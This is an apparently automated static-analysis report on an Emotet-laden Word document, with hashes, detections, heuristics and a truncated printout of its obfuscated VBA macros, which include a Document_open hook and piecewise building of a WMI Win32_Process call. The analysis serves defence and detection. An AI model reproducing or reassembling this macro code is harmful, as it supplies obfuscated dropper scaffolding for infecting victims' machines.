Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 10c8c3649588c102…

MALICIOUS

Office (OLE)

112.8 KB Created: 2019-12-10 14:01:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: 77848cc601a1d9be47d94374c5aa5e91 SHA-1: 83c60d75b7c21c0296f6539ec8665e2cd28ee754 SHA-256: 10c8c3649588c1021aafa3b8b54b49e7ebc0233e28895856dbffea8211ef012a
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-7443172-0. High-severity heuristics indicate the presence of VBA macros, specifically a Document_Open macro that uses CreateObject for execution. The VBA script, though heavily obfuscated, is designed to execute code upon opening the document, likely to download and run a secondary payload. This aligns with Emotet's typical behavior of acting as a downloader.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-7443172-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7443172-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6825 bytes
SHA-256: fbeb42602d16aad7a3ff71ae8cbd2cc60abaac52968035e3d49dae2ffea62168
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Yxnifumy"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Qtavwtmcvtkm, 0, 0, MSForms, TextBox"
Private Sub Document_open()
      If Dmknclbd < Ysttfcmlovp Then
         Lmrzgoamsfim = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Psxhioqnhof = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
      If Opqpkawe < Bhfmhwrsz Then
         Ipigfkyffdksr = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Wllhundwet = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
      If Secfpmdayfu < Phasmmigdepmb Then
         Xieygfwas = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Jrhwaczip = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Eeggvsoevymsf
End Sub

Attribute VB_Name = "Zzjcjvohytfm"
Attribute VB_Base = "0{0456CD53-97C2-4D09-991D-861CB78DD6BB}{16678B78-9B6E-4AE9-8DC9-B5D2B2F52AE3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Yacjrozanb"
Function Gasmqjebnr()
      If Vyvadhifyjp < Rwozdehx Then
         Phydcrjzvk = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Ymistynlz = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Qprwknybanh = Yxnifumy.Qtavwtmcvtkm
      If Hbnvbvvqj < Ldvrobbzhqdxi Then
         Jdjtfagkxzu = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Ytoawfevjuue = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Gybuexew = Qprwknybanh + Zzjcjvohytfm.Hqtnevepx + Zzjcjvohytfm.Vjdrlkvkrm + Zzjcjvohytfm.Ttmsikxcfxou
      If Omttmtkspfoag < Jtrnkszrqju Then
         Fffwfmzptg = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Kyxdczmnzn = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Dwppjxwguin = Gybuexew + Zzjcjvohytfm.Znmrmoeyayef + Zzjcjvohytfm.Gdhmwqbfaiw
      If Muwutiyvmzxog < Adwqhatxievi Then
         Xmuvmbzs = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Fnttasmksrmg = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Gasmqjebnr = Afjzstrthiec + Dwppjxwguin + Afjzstrthiec
      If Byutkjiaba < Cfrhtcsifpo Then
         Jazwxkfxpw = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Sdwohxeavnyr = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
End Function
Function Eeggvsoevymsf()
      If Xipuzwkmunil < Wtdrosowg Then
         Ygwtzpwiuelbm = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Jiktsvxak = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Ddikdtom = E + "wi" + "n" + f + "mgmt" + g + "s:Win32_P" + n + "rocess"
      If Ccedvopvqdifg < Vybxsotnou Then
         Cxgcmlbxtcgk = 59 * CSng(81) / LjTE * Fix(ddGI1 * C
... (truncated)